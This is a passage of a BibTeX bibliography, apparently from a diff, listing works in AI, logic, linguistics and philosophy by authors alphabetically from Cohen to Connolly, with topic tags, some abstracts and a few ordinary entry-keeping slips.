{intention;practical-reasoning;foundations-of-planning;} + } + +@article{ cohen_pr1-levesque:1990a, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Intention Is Choice With Commitment}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {213--261}, + topic = {intention;practical-reasoning;foundations-of-planning;} + } + +@incollection{ cohen_pr1-levesque:1990b, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Rational Interaction as the Basis for Communication}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip Cohen and Jerry Morgan and Martha Pollack}, + pages = {221--255}, + address = {Cambridge, Massachusetts}, + topic = {discourse;foundations-of-pragmatics;speech-acts;pragmatics;} + } + +@inproceedings{ cohen_pr2-etal:1981a, + author = {Philip R. Cohen and C. Raymond Perrault and James + F. Allen}, + title = {Beyond Question Answering}, + booktitle = {Strategies for Natural Language Processing}, + editor = {Wendy Lehnert and M. Ringle}, + pages = {245--274}, + publisher = {Lawrence Erlbaum Associates}, + year = {1981}, + address = {Mahwah, New Jersey}, + missinginfo = {E's 1st name.}, + topic = {pragmatics;nl-interpretation;} + } + +@book{ cohen_pr2-etal:1990a, + title = {Intentions in Communication}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + address = {Cambridge, Massachusetts}, + publisher = {The {MIT} Press}, + year = {1990}, + topic = {pragmatics;nl-understanding;} + } + +@book{ cohen_pr2:1995a, + author = {Paul R. Cohen}, + title = {Empirical Methods for Artificial Intelligence}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: kibler:1999a, gent-walsh_t:1999a.}, + topic = {experimental-AI;} + } + +@article{ cohen_r1:1987a, + author = {Robin Cohen}, + title = {Analyzing the Structure of Argumentative Discourse}, + journal = {Computational Linguistics}, + year = {1987}, + volume = {13}, + number = {1--2}, + pages = {11--24}, + topic = {argumentation;discourse-structure;pragmatics;} + } + +@incollection{ cohen_r1-jones_m:1989a, + author = {Robin Cohen and Marlene Jones}, + title = {Incorporating User Models into Expert Systems for + Educational Diagnosis}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {313--333}, + address = {Berlin}, + topic = {user-modeling;intelligent-tutoting;} + } + +@incollection{ cohen_r2-etal:1979a, + author = {Rudolf Cohen and Stephanie Kelter and Gerhild Woll}, + title = {Conceptual Impairment in Aphasia}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {353--363}, + topic = {aphasia;} + } + +@article{ cohen_s:1964a, + author = {Stewart Cohen}, + title = {Knowledge and Context}, + journal = {The Journal of Philosophy}, + year = {1986}, + volume = {83}, + number = {10}, + pages = {574--583}, + topic = {propositional-attitudes;knowledge;context;skepticism;} + } + +@article{ cohen_s:1986a, + author = {Stewart Cohen}, + title = {On Knowledge and Context}, + journal = {The Journal of Philosophy}, + year = {1986}, + volume = {83}, + number = {10}, + pages = {574--583}, + topic = {knowledge;propositional-attitudes;context;} + } + +@inproceedings{ cohen_ww-etal:1992a, + author = {William W. Cohen and Alex Borgida and Haym Hirsh}, + title = {Computing Least Common Subsumers in Description Logics}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {754--761}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;classifier-algorithms;taxonomic-logics;kr-course;} + } + +@article{ cohen_ww:1994a, + author = {William W. Cohen}, + title = {Grammatically Biased Learning: Learning Logic Programs + Using an Explicit Antecedent Description Language}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {2}, + pages = {303--366}, + acontentnote = {Abstract: + Every concept learning system produces hypotheses that are + written in some sort of constrained language called the concept + description language, and for most learning systems, the concept + description language is fixed. This paper describes a learning + system that makes a large part of the concept description + language an explicit input, and discusses some of the possible + applications of providing this additional input. In particular, + we discuss a technique for learning a logic program such that + the antecedent of each clause in the program can be generated by + a special antecedent description language; it is shown that this + technique can be used to make use of many different types of + background knowledge, including constraints on how predicates + can be used, programming clichés, overgeneral theories, + incomplete theories, and theories syntactically close to the + target theory. The approach thus unifies many of the problems + previously studied in the field of knowledge-based learning.}, + topic = {concept-learning;Horn-clause-abduction;} + } + +@incollection{ cohen_ww-hirsh:1994a, + author = {William W. Cohen and Haym Hirsh}, + title = {Learning the Classical Description Logic: Theoretical + and Experimental Results}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {121--133}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;machine-learning;kr-course;} + } + +@article{ cohen_ww:1995a, + author = {William W. Cohen}, + title = {Pac-Learning Non-Recursive {P}rolog Clauses}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {1--38}, + acontentnote = {Abstract: + Recently there has been an increasing amount of research on + learning concepts expressed in subsets of Prolog; the term + inductive logic programming (ILP) has been used to describe this + growing body of research. This paper seeks to expand the + theoretical foundations of ILP by investigating the + pac-learnability of logic programs. We focus on programs + consisting of a single function-free non-recursive clause, and + focus on generalizations of a language known to be + pac-learnable: namely, the language of determinate function-free + clauses of constant depth. We demonstrate that a number of + syntactic generalizations of this language are hard to learn, + but that the language can be generalized to clauses of constant + locality while still allowing pac-learnability. More + specifically, we first show that determinate clauses of log + depth are not pac-learnable, regardless of the language used to + represent hypotheses. We then investigate the effect of allowing + indeterminacy in a clause, and show that clauses with k + indeterminate variables are as hard to learn as DNF. We next + show that a more restricted language of clauses with bounded + indeterminacy is learnable using k-CNF to represent hypotheses, + and that restricting the ``locality'' of a clause to a constant + allows pac-learnability even if an arbitrary amount of + indeterminacy is allowed. This last result is also shown to be a + strict generalization of the previous result for determinate + function-free clauses of constant depth. Finally, we present + some extensions of these results to logic programs with multiple + clauses.}, + topic = {concept-learning;Horn-clause-abduction;PAC-learning;} + } + +@article{ cohen_ww:2000a, + author = {William W. Cohen}, + title = {{WHIRL}: A Word-Based Information Representation Language}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {163--196}, + acontentnote = {Abstract: + We describe WHIRL, an ``information representation language'' that + synergistically combines properties of logic-based and + text-based representation systems. WHIRL is a subset of Datalog + that has been extended by introducing an atomic type for textual + entities, an atomic operation for computing textual similarity, + and a ``soft'' semantics; that is, inferences in WHIRL are + associated with numeric scores, and presented to the user in + decreasing order by score. This paper briefly describes WHIRL, + and then surveys a number of applications. We show that WHIRL + strictly generalizes both ranked retrieval of documents, and + logical deduction; that nontrivial queries about large databases + can be answered efficiently; that WHIRL can be used to + accurately integrate data from heterogeneous information + sources, such as those found on the Web; that WHIRL can be used + effectively for inductive classification of text; and finally, + that WHIRL can be used to semi-automatically generate extraction + programs for structured documents.}, + topic = {kr;information-retrieval;information-integration;} + } + +@article{ cohn_ag:1987a, + author = {Anthony G. Cohn}, + title = {A More Expressive Form of Many Sorted Logic}, + journal = {Journal of Automated Reasoning}, + year = {1987}, + volume = {3}, + pages = {113--200}, + missinginfo = {number}, + topic = {many-sorted-logic;} + } + +@incollection{ cohn_ag:1989a, + author = {Anthony G. Cohn}, + title = {On the Appearance of Sortal Literals: A Non Substitutional + Framework for Hybrid Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {55--66}, + address = {San Mateo, California}, + missinginfo = {A's 1st name, number}, + topic = {kr;theorem-proving;hybrid-kr-architectures;sort-hierarchies; + kr-course;} + } + +@incollection{ cohn_ag:1992a, + author = {Anthony G. Cohn}, + title = {Completing Sort Hierarchies}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {477--491}, + address = {Oxford}, + topic = {theorem-proving;taxonomic-reasoning;kr;semantic-networks; + kr-course;} + } + +@incollection{ cohn_ag:1996a, + author = {Anthony G. Cohn}, + title = {Calculi for Qualitative Spatial Reasoning}, + booktitle = {Artificial Intelligence and Symbolic Mathematical + Computation}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jacques Calmet and J. Campbell and J. Pfalzgraf}, + pages = {124--143}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {spatial-reasoning;} + } + +@incollection{ cohn_ag-gotts:1996a, + author = {Anthony G. Cohn and Nicholas Mark Gotts}, + title = {Representing Spatial Vagueness: A Mereological Approach}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {230--241}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;mereology;vagueness;kr-course;} + } + +@incollection{ cohn_ag:1997a, + author = {Anthony G. Cohn}, + title = {Qualitative Spatial Representation and Reasoning + Techniques}, + booktitle = {{KI}-97, Advances in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Gerhard Brewka and Christopher Habel and Bernhard Nebel}, + pages = {1--30}, + address = {Berlin}, + topic = {spatial-reasoning;} + } + +@incollection{ cohn_ag-etal:1997a, + author = {Anthony G. Cohn and Brandon Bennett and John Gooday and + Nicholas M. Gotts}, + title = {Representing and Reasoning with + Qualitative Spatial Relations}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {97--134}, + address = {Dordrecht}, + topic = {spatial-reasoning;spatial-representation; + qualitative-reasoning;} + } + +@book{ cohn_ag-etal:1998a, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + title = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + address = {San Francisco}, + topic = {kr;} + } + +@book{ cohn_ag-etal:2000a, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + title = {{KR}2000: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2000}, + address = {San Francisco}, + topic = {kr;} + } + +@article{ cohn_d:1966a, + author = {D. Cohn}, + title = {Narrated Monologue}, + journal = {Comparative Literature}, + year = {1966}, + volume = {2}, + pages = {97--112}, + missinginfo = {A's 1st name, number}, + topic = {discourse;deixis;pragmatics;} + } + +@article{ cohon:2000a, + author = {Rachel Cohon}, + title = {The Roots of Reasons}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {1}, + pages = {63--85}, + topic = {reasons-for-action;practical-reason;} + } + +@book{ coiffet:1983a, + author = {Philippe Coiffet}, + title = {Robot Technology, Volume 1: Modelling and Control}, + publisher = {Prentice-Hall}, + year = {1983}, + address = {New York}, + ISBN = {0137820941 (v. 1)}, + xref = {Review: rock:1987a.}, + topic = {robotics;} + } + +@book{ coiffet:1983b, + author = {Philippe Coiffet}, + title = {Robot Technology, Volume 2: Interaction with the + Environment}, + publisher = {Prentice-Hall}, + year = {1983}, + address = {New York}, + xref = {Review: rock:1987a.}, + topic = {robotics;} + } + +@book{ coiffet-chirouze:1983a, + author = {Philippe Coiffet and Michel Chirouze}, + title = {An Introduction to Robot Technology}, + publisher = {McGraw-Hill}, + year = {1983}, + address = {New York}, + miscnote = {Translated by Meg Tombs.}, + ISBN = {0070106894}, + topic = {robotics;} + } + +@techreport{ colban:1988a, + author = {Erik A. Colban}, + title = {Simplified Unification Based Grammar Formalisms}, + institution = {Department of Mathematics, University of Oslo}, + number = {{COSMOS}-Report No.~05}, + year = {1988}, + address = {P.O. Box 1053, Blindern, 0316 Oslo 3, Norway}, + topic = {unification;grammar-formalisms;} + } + +@techreport{ colban:1990a, + author = {Erik A. Colban}, + title = {Unification Algorithms}, + institution = {Department of Mathematics, University of Oslo}, + number = {{COSMOS}-Report No.~16}, + year = {1990}, + address = {P.O. Box 1053, Blindern, 0316 Oslo 3, Norway}, + topic = {unification;} + } + +@techreport{ colban:1991a, + author = {Erik A. Colban}, + title = {Generalized Quantifiers in Sequent Calculus}, + institution = {Department of Mathematics, University of Oslo}, + number = {{COSMOS} Report No. 18}, + year = {1991}, + address = {P.O. Box 1053, Blindern, 0316 Oslo 3, Norway}, + missinginfo = {number}, + topic = {generalized-quantifiers;} + } + +@article{ colby-etal:1970a, + author = {Kenneth Mark Colby and Sylvia Weber and Franklin Dennis + Hilf}, + title = {Artificial Paranoia}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {1}, + pages = {1--25}, + acontentnote = {Abstract: + A case of artificial paranoia has been synthesized in the form + of a computer simulation model. The model and its embodied + theory are briefly described. Several excerpts from interviews + with the model are presented to illustrate its paranoid + input-output behavior. Evaluation of the success of the + simulation will depend upon indistinguishability tests. } , + topic = {simulation-of-human-like-behavior;} + } + +@article{ colby-etal:1972a, + author = {Kenneth Mark Colby and Franklin Dennis Hilf and Sylvia + Weber and Helena C. Kraemer}, + title = {Turing-Like Indistinguishability Tests for the Validation + of a Computer Simulation of Paranoid Processes}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {199--221}, + acontentnote = {Abstract: + A computer simulation of paranoid processes in the form of a + dialogue algorithm was subjected to a validation study using + indistinguishability tests. Judges rated degrees of paranoia + present in initial psychiatric interviews of both paranoid + patients and of versions of the paranoid model. Judges also + attempted to distinguish teletyped interviews with real patients + from interviews with the simulation model. The statistical + results indicate a satisfactory degree of resemblance between + the two groups of interviews. It is concluded that the model + provides a successful simulation of naturally occurring paranoid + processes as measured by these tests. } , + topic = {Turing-test;simulation-of-human-like-behavior;} + } + +@incollection{ cole_m:1991a, + author = {Michael Cole}, + title = {Conclusion}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {398--417}, + address = {Washington, D.C.}, + topic = {social-psychology;group-attitudes;} + } + +@incollection{ cole_p:1975a, + author = {Peter Cole}, + title = {The Synchronic and Diachronic Status of Conversational + Implicature}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {257--288}, + publisher = {Academic Press}, + address = {New York}, + topic = {implicature;} + } + +@book{ cole_p-morgan:1975a, + editor = {Peter Cole and Jerry Morgan}, + title = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + address = {New York}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ cole_p:1978a, + author = {Peter Cole}, + title = {On the Origins of Referential Opacity}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {1--22}, + address = {New York}, + topic = {referential-opacity;} + } + +@book{ cole_p:1981a, + editor = {Peter Cole}, + title = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + address = {New York}, + contentnote = {TC: + 1. Jay D. Atlas and Stephen C. Levinson, "It-Clefts, + Informativeness and Logical Form: Radical Pragmatics + (Revised Standard Version)", pp. 1--61 + 2. Emmon Bach, "On Time, Tense, and Aspect: An Essay In English + Metaphysics", pp. 63--81 + 3. Charles E. Caton, "Stalnaker on Pragmatic + Presupposition", pp. 83--100 + 4. Alice Davison, "Syntactic and Semantic Indeterminacy Resolved: + A Mostly Pragmatic Analysis of the {H}indi Conjunctive + Participle", pp. 101--128 + 5. Keith Donnellan, "Intuitions and Presuppositions", pp. 129--142 + 6. Charles J. Fillmore, "Pragmatics and the Description of + Discourse", pp. 143--166 + 7. Georgia M. Green and Jerry L. Morgan, "Pragmatics, Grammar, + and Discourse", pp. 167--182 + 8. Grice, H.P. "Presupposition and Conversational + Implicature", pp. 183--198 + 9. Geoffrey Nunberg, "Validating Pragmatic + Explanations", pp. 199--222 + 10. Ellen F. Prince, "Towards a Taxonomy of Given-New + Information", pp. 223--256 + 11. Jerrold L. Sadock, "Almost", pp. 257-272 + 12. Ivan A. Sag, "Formal Semantics and Extralinguistic + Context", pp. 273--294 + 13. Dan Sperber and Deirdre Wilson, "Irony and the Use-Mention + Distinction", pp. 295--318 + }, + ISBN = {0121796604}, + topic = {pragmatics;} + } + +@article{ cole_p:1985a, + author = {Peter Cole}, + title = {Quantifier Scope and the {ECP}}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {283--289}, + topic = {nl-quantifier-scope;} + } + +@article{ coleman_j-local:1991a, + author = {John Coleman and John Local}, + title = {The `No Crossing Constraint' in Autosegmental + Phonology}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {3}, + pages = {295--338}, + topic = {autosegmental-phonology;} + } + +@book{ coleman_js-etal:1960a, + author = {James S. Coleman and Ernest W. Adams and Herbert Solomon}, + title = {Mathematical Thinking in the Measurement of Behavior}, + publisher = {The Free Press}, + year = {1960}, + address = {Glencoe, Illinois}, + title = {Assessment of Qualitative Judgements for Conditional + Events in Expert Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {135--140}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;} + } + +@inproceedings{ collier:1998a, + author = {Nigel Collier and Hideki Hirakawa and Akira Kumano}, + title = {Machine Translation vs. Dictionary Term Translation---A + Comparison for {E}nglish-{J}apanese News Article Alignment}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {263--267}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-alignment;} +} + +@inproceedings{ collier-etal:1998a, + author = {Nigel Collier and Kenji Ono and Hideki Hirakawa}, + title = {An Experiment in Hybrid Dictionary and Statistical + Sentence Alignment}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {268--274}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {text-alignment;} +} + +@article{ collins:2000a, + author = {John Collins}, + title = {Preemptive Prevention}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {4}, + pages = {223--234}, + topic = {causality;prevention;} + } + +@book{ collins_a1-etal:1995a, + editor = {Alan F. Collins and Susan E. Gathercole and Martin A. Conway + and Peter E. Morris}, + title = {Theories of Memory}, + Publisher = {Laurence Erlbaum Associates}, + year = {1995}, + address = {Nahwah, New Jersey}, + topic = {memory-models;} + } + +@incollection{ collins_a2:1984a, + author = {Arthur Collins}, + title = {Action, Causality and Teleological Explanation}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {345--369}, + address = {Minneapolis}, + topic = {action;causality;teleology;explanation;} + } + +@book{ collins_c:1997a, + author = {Chris Collins}, + title = {Local Economy}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {syntactic-minimalism;nl-syntax;} + } + +@inproceedings{ collins_g-etal:1989a, + author = {Gregg Collins and Lawrence Birnbaum and Bruce Krulwich}, + title = {An Adaptive Model of Decision-Making in Planning}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {511--516}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {Check A's 1st name}, + topic = {planning;} + } + +@book{ collins_hm:1990a, + author = {H.M. Collins}, + title = {Artificial Experts: Social Knowledge and + Intelligent Machines}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-AI;} + } + +@article{ collins_hm:1996a, + author = {H.M. Collins}, + title = {Embedded or Embodied? A Review of + {\it What Computers Still Can't Do}, by {H}ubert {L}. {D}reyfus}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {99--117}, + xref = {Review of dreyfus_hl:1992a.}, + topic = {philosophy-AI;} + } + +@phdthesis{ collins_j:1991a, + author = {John Collins}, + title = {Belief Revision}, + school = {Princeton University}, + year = {1991}, + type = {Ph.{D}. Dissertation}, + address = {Philosophy Department, Princeton University}, + topic = {belief-revision;} + } + +@inproceedings{ collins_m-brooks_j:1995a, + author = {Michael Collins and James Brooks}, + title = {Prepositional Attachment through + a Backed-off Model}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {27--38}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;ambiguity-resolution;corpus-statistics;} + } + +@inproceedings{ collins_m:1996a, + author = {Michael John Collins}, + title = {A New Statistical Parser Based on Bigram Lexical + Dependencies}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {184--191}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;statistical-nlp;} + } + +@inproceedings{ collins_m:1997a, + author = {Michael Collins}, + title = {Three Generative, Lexicalized Models for Statistical + Parsing}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {16--23}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;statistical-nlp;} + } + +@article{ collins_m:1999a, + author = {Michael Collins}, + title = {Review of {\it Beyond Grammar: An Experience-Based + Theory of Language}, by {R}ens {B}od}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {440--444}, + xref = {Review of bod:1998a.}, + topic = {statistical-parsing;TAG-grammar;nlp-algorithms;} + } + +@book{ collins_nl-michie:1967a, + editor = {N.L. Collins and Donald Michie}, + title = {Machine intelligence {I}}, + publisher = {Oliver and Boyd}, + year = {1967}, + address = {Edinburgh}, + topic = {AI-survey;} + } + +@book{ colodny:1965a, + editor = {Robert G. Colodny}, + title = {Beyond the Edge of Certainty: Essays in Contemporary + Science and Philosophy}, + publisher = {Prentice-Hall, Inc.}, + address = {Englewood Cliffs, New Jersey}, + year = {1965}, + topic = {philosophy-of-science;} + } + +@book{ colodny:1972a, + editor = {Robert G. Colodny}, + title = {Paradigms and Paradoxes: The Philosophical Challenge of + The Quantum Domain}, + publisher = {University of Pittsburgh Press}, + year = {1972}, + address = {Pittsburgh, Pennsylvania}, + topic = {philosophy-of-science;philosophy-of-physics; + foundations-of-quantum-mechanics;} + } + +@article{ colomb:1999a, + author = {Robert M. Colomb}, + title = {Representation of Propositional Expert Systems as + Partial Functions}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + topic = {expert-systems;decision-trees;} , + pages = {187--209}, + } + +@article{ colombetti:1993a, + author = {Marco Colombetti}, + title = {Formal Semantics for Mutual Belief}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {341--353}, + topic = {mutual-beliefs;} + } + +@article{ colson-grigoroff:2001a, + author = {Lo\"ic Colson and Serge Grigoroff}, + title = {Syntactical Truth Predicates for Second-Order Arithmetic}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {1}, + pages = {225--256}, + topic = {second-order-arithmetic;truth-definitions;} + } + +@article{ colston:1997a, + author = {H.L. Colston}, + title = {\,`I've Never Seen Anything Like It': Overstatement, + Understatement, and Irony}, + journal = {Metaphor and Symbol}, + year = {1997}, + volume = {12}, + pages = {43--58}, + missinginfo = {A's 1st name, number}, + topic = {irony;cognitive-psychology;} + } + +@article{ colston:1998a, + author = {H.L. Colston}, + title = {You'll Never Believe This: Irony and Hyperbole in + Expressing Surprise}, + journal = {Journal of Psycholinguistic Research}, + year = {1998}, + volume = {27}, + pages = {499--513}, + missinginfo = {A's 1st name, number}, + topic = {irony;cognitive-psychology;} + } + +@article{ colyvan:2001a, + author = {Mark Colyvan}, + title = {Review of {\it A Subject With No Object: Strategies for + Nominalistic Interpretation of Mathematics}, by + {J}ohn {B}urgess and {G}ideon {R}osen}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {146--150}, + xref = {Review of burgess_jp-rosen_g:1997a.}, + topic = {nominalism;nominalistic-semantics;philosophy-of-mathematics;} + } + +@incollection{ comini-etal:1994a, + author = {Marco Comini and Giorgio Levi and Giuliana Vitiello}, + title = {Abstract Debugging of Logic Program}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {440--450}, + address = {Berlin}, + topic = {metaprogramming;logic-programming;} + } + +@incollection{ comorovski:1985a, + author = {Ileana Comorovski}, + title = {On Quantifier Strength and Partitive Noun Phrases}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {145--177}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;(in)definiteness; + existential-constructions;partitive-constructions;} + } + +@book{ comorovski:1996a, + author = {Ileana Comorovski}, + title = {Interrogative Phrases and the Syntax-Semantics Interface}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792338049}, + topic = {interrogatives;} + } + +@incollection{ comrie:1986a, + author = {Bernard Comrie}, + title = {Conditionals: A Typology}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {77--101}, + address = {Cambridge, England}, + topic = {conditionals;typology;} + } + +@book{ conant:1981a, + editor = {Roger Conant}, + title = {Mechanisms Of Intelligence : Ashby'S Writings On Cybernetics}, + publisher = {Intersystems Publications}, + year = {1981}, + address = {Seaside, California}, + topic = {AI-classics;} + } + +@inproceedings{ condon-etal:1997a, + author = {Sherri L. Condon and Claude G. Cech and William R. Edwards}, + title = {DIscourse Routines in Decision-Making Interactions}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {20--27}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;corpus-statistics;pragmatics;} + } + +@inproceedings{ condotta:2000a, + author = {Jean-Fran\c{c}ois Condotta}, + title = {The Augmented Interval and and Rectangle Networks}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {571--579}, + topic = {temporal-reasoning;} + } + +@article{ conee:1983a, + author = {Earl Conee}, + title = {Review of {\it Utilitarianism and Co-operation}, + by {D}onald {R}egan}, + journal = {Journal of Philosophy}, + volume = {80}, + year = {1983}, + pages = {415--424}, + xref = {Review of: regan:1980a.}, + topic = {utilitarianism;} + } + +@incollection{ conlon-etal:1994a, + author = {Sumali Pin-Ngern Conlon and Joanne Dardaine and Agnes D'Souza + and Martha Evens and Sherwood Haynes and Jong-Sun Kim + and Robert Strutz}, + title = {The {IIT} Lexical Database: Dream + and Reality}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {201--225}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;} + } + +@article{ connell-brady:1987a, + author = {Jonathan H. Connell and Michael Brady}, + title = {Generating and Generalizing Models of Visual Objects}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {2}, + pages = {159--183}, + acontentnote = {Abstract: + We report on initial experiments with an implemented learning + system whose inputs are images of two-dimensional shapes. The + system first builds semantic network descriptions of shapes + based on Brady's ``smoothed local symmetry'' representation. It + learns shape models from them using a substantially modified + version of Winston's ANALOGY program. A generalization of Gray + coding enables the representation to be extended and also allows + a single operation, called ``ablation'', to achieve the effects + of many standard induction heuristics. The program can learn + disjunctions, and can learn concepts using only positive + examples. We discuss learnability and the pervasive importance + of representational hierarchies.}, + topic = {machine-learning;shape-recognition;} + } + +@book{ connolly-pemberton:1996a, + editor = {John H. Connolly and Lyn 